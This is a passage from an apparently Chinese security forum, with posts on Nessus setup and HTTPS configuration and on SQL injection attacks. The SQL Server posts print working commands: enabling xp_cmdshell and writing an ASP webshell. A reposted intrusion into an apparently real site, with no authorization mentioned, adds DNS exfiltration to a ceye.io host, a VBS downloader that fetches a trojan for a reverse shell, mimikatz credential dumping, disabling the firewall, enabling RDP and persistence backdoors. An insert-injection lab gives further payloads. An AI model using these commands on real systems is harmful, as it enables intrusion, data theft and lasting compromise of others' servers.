开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:
  • 找到报错页面得到物理路径,如404页面。
  • 查找网站文件并把路径写入到临时表当中

 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。

图片21.png


2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​
;use test;create table tt_tmp (tmp1 varchar(1000));
创建完成之后使用sqlmap可以看到成功创建表temp

图片22.png

 
Sqlmap命令: 
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​

图片23.png

 
之后我们将char.asp文件的路径写入到该字段当中
;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';

图片24.png

 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间


Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump

图片25.png

 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话
;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';
执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察

图片26.png


返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。

图片27.png


成功写入一句话木马,尝试才到连接

图片28.png


图片29.png

成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:
select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0
查看字段名:
select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'

总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
 

nessus的扫描及配置说明

gu 发表了文章 • 0 个评论 • 188 次浏览 • 2019-07-10 16:33 • 来自相关话题

0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项







输入项目名称,ip地址




然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加



添加之后点击save,这样一个扫描任务就创建成功了 




点击开始就可以开始扫描了 




点击该项目就可以查看扫描的详细信息




扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告








下载完成之后打开就是扫描的报告信息




0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明









 
Port Scanning 端口扫描









 
Service Discovery 端口服务探测




0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置




Brutr Force 风险项




Web Application web应用扫描












    Windows 设置




0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存




0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽 查看全部
0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项
Image.png
Image.png

输入项目名称,ip地址
Image.png

然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
Image.png
添加之后点击save,这样一个扫描任务就创建成功了 
Image.png

点击开始就可以开始扫描了 
Image.png

点击该项目就可以查看扫描的详细信息
Image.png

扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
Image.png

Image.png

下载完成之后打开就是扫描的报告信息
Image.png

0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明

Image.png

Image.png

 
Port Scanning 端口扫描

Image.png

Image.png

 
Service Discovery 端口服务探测
Image.png

0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Image.png

Brutr Force 风险项
Image.png

Web Application web应用扫描
Image.png

Image.png

Image.png

    Windows 设置
Image.png

0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
Image.png

0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽

linux下nessus的安装

gu 发表了文章 • 0 个评论 • 132 次浏览 • 2019-07-09 16:30 • 来自相关话题

0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus





0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名




0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start
接下来访问https://虚拟机ip:8834就可以登录web页面





在这里需要选择第一个





跳转页面之后填入相应信息





点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue





下一个页面就是注册用户的界面




填完点击下一步就会自动安装插件,但是会卡在这里报错





0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件./nessuscli update all-2.0.tar.gz(插件包名)




安装完成需要重启下nessus
./nessusd




这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图





  查看全部
0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus

Image.png

0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名

Image.png

0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start

接下来访问https://虚拟机ip:8834就可以登录web页面

Image.png

在这里需要选择第一个

Image.png

跳转页面之后填入相应信息

Image.png

点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue

Image.png

下一个页面就是注册用户的界面
Image.png

填完点击下一步就会自动安装插件,但是会卡在这里报错

Image.png

0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件
./nessuscli update all-2.0.tar.gz(插件包名)

Image.png

安装完成需要重启下nessus
./nessusd

Image.png

这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图

Image.png

 

为域名配置HTTPS

wuyou 发表了文章 • 1 个评论 • 84 次浏览 • 2019-07-02 20:22 • 来自相关话题

前段时间看到一篇报道:
美国联邦调查局(FBI)近日向网民发出警告,基于HTTPS的网站并非都是安全的。
于是今天来试着为一个域名配置SSL证书,使其变成一个HTTPS的域名




 
网上有很多申请免费的SSL证书的网站,比如阿里云可以免费申请一年的使用权




不过这里我选择使用另一个来源
 
申请SSL证书
https://freessl.cn/
输入你要配置的域名,然后点击创建




 
输入邮箱,以浏览器生成,点击创建




 
这时下面就会出现一个DNS记录值




 
在你的域名提供商那里增加DNS解析记录




 
返回freessl,等待几分钟,点击验证
验证成功后下载证书并将证书信息上传到域名提供商那里
 





服务器配置
在配置服务器的时候踩了很多坑,差点把Apache搞瘫了....下次在改配置文件的时候一定要备份一下再操作!1、安装ssl模块
# yum install mod_ssl -y
Ps:安装完成后,会在/etc/httpd/conf.d/下生成一个ssl.conf配置文件。

2、建一个目录用来放ssl证书文件
# mkdir /etc/httpd/ssl/

3、上传证书文件到ssl目录下
Ps:一共两个文件,其中.pem文件包含两部分内容

4、编辑ssl配置文件
# vim /etc/httpd/conf.d/ssl.conf

5、修改以下几行,去掉前面的“#”注释

DocumentRoot "/var/www/html" #网页文件路径
ServerName 域名:443 #改为自己的域名
SSLEngine on #启用SSL功能
SSLCertificateFile /etc/httpd/ssl/2_www.**.cn.crt #填写证书文件路径
SSLCertificateKeyFile /etc/httpd/ssl/3_www.***.cn.key #填写私钥文件路径
SSLCertificateChainFile /etc/httpd/ssl/1_root_bundle.crt #填写证书链文件路径

6) 重启服务器
# service httpd restart这样服务器就配置好了,查看一下我们的Web页面




 
因为主页是Wordpress,资源链接中含http内容,所以会出现上图中的现象





使用一个纯html页面来检测一下是否成功




 
可以再添加一个从http跳到https的规则让访问过程更流畅





 
 


  查看全部
前段时间看到一篇报道:
美国联邦调查局(FBI)近日向网民发出警告,基于HTTPS的网站并非都是安全的。
于是今天来试着为一个域名配置SSL证书,使其变成一个HTTPS的域名
2.png

 
网上有很多申请免费的SSL证书的网站,比如阿里云可以免费申请一年的使用权
1.png

不过这里我选择使用另一个来源
 
申请SSL证书
https://freessl.cn/
输入你要配置的域名,然后点击创建
3.png

 
输入邮箱,以浏览器生成,点击创建
4.png

 
这时下面就会出现一个DNS记录值
5.png

 
在你的域名提供商那里增加DNS解析记录
7.png

 
返回freessl,等待几分钟,点击验证
验证成功后下载证书并将证书信息上传到域名提供商那里
 
6.png


服务器配置
在配置服务器的时候踩了很多坑,差点把Apache搞瘫了....下次在改配置文件的时候一定要备份一下再操作!
1、安装ssl模块
# yum install mod_ssl -y
Ps:安装完成后,会在/etc/httpd/conf.d/下生成一个ssl.conf配置文件。

2、建一个目录用来放ssl证书文件
# mkdir /etc/httpd/ssl/

3、上传证书文件到ssl目录下
Ps:一共两个文件,其中.pem文件包含两部分内容

4、编辑ssl配置文件
# vim /etc/httpd/conf.d/ssl.conf

5、修改以下几行,去掉前面的“#”注释

DocumentRoot "/var/www/html" #网页文件路径
ServerName 域名:443 #改为自己的域名
SSLEngine on #启用SSL功能
SSLCertificateFile /etc/httpd/ssl/2_www.**.cn.crt #填写证书文件路径
SSLCertificateKeyFile /etc/httpd/ssl/3_www.***.cn.key #填写私钥文件路径
SSLCertificateChainFile /etc/httpd/ssl/1_root_bundle.crt #填写证书链文件路径

6) 重启服务器
# service httpd restart
这样服务器就配置好了,查看一下我们的Web页面
8.png

 
因为主页是Wordpress,资源链接中含http内容,所以会出现上图中的现象
11.png


使用一个纯html页面来检测一下是否成功
10.png

 
可以再添加一个从http跳到https的规则让访问过程更流畅





 
 


 

记一次渗透实战【转】

wuyou 发表了文章 • 0 个评论 • 256 次浏览 • 2019-05-22 23:47 • 来自相关话题

信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


执行系统命令

exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";




直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集

ipconfig

查了一下ip,发现处在内网

查看域用户

net group /domain

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息

systeminfo


查看端口,没开3389

netstat -ano


查看相邻主机IP

arp -a


抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令

mimikatz_command -f sekurlsa::logonPasswords

连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f




关闭防火墙:

netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:

portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由

run autoroute -s 192.168.50.2/24


使用metasploit的portscan扫描一下内网存活的主机

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单

run metsvc


其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191 查看全部
信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;



执行系统命令


exec master..xp_cmdshell "whoami"


这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令


cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"


实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod


exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";





直接就是system权限写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2


用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下


echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs


注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图



在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器确有下载记录

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell
信息收集


ipconfig


查了一下ip,发现处在内网

查看域用户


net group /domain


有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

查看系统基本信息


systeminfo



查看端口,没开3389


netstat -ano



查看相邻主机IP


arp -a



抓用户hash


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载


load mimikatz


然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令


mimikatz_command -f sekurlsa::logonPasswords


连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令开启


REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f





关闭防火墙:


netsh firewall set opmode mode=disable


尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:


portfwd add -l 3389 -p 3389 -r 192.168.50.2


这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改
内网扫描
要对目标内网进行扫描需要先添加一下路由


run autoroute -s 192.168.50.2/24



使用metasploit的portscan扫描一下内网存活的主机


use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit



有点慢呢,最后扫了一半还没发现其他主机就放弃了权限维持
metasploi Metsvc模块
这个使用很简单


run metsvc



其实是给目标开了一个服务

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
metasploi Persistence模块


run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx


-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

清除脚本在下图位置

若要清除后门,在meterpreter运行该脚本即可

 
转自先知社区:https://xz.aliyun.com/t/5191

Insert型SQL注入探究

wuyou 发表了文章 • 1 个评论 • 228 次浏览 • 2019-05-10 18:49 • 来自相关话题

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 








 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
001     [留言成功]002\    [留言失败]003#    [留言成功]004'    [留言失败]005"    [留言成功]006)    [留言成功]007')   [留言失败]008')#  [留言失败]


在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
009','')#      [留言失败]010','','')#    [留言成功]





 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#





 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#










 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
  查看全部
我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

github上一些安全工具的分享

sq_smile 发表了文章 • 1 个评论 • 241 次浏览 • 2019-05-07 11:26 • 来自相关话题

0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    
需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。




        3、 在开源中国的码云上边,导入github上你fork的项目。









然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:




 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
  查看全部
0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    

需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
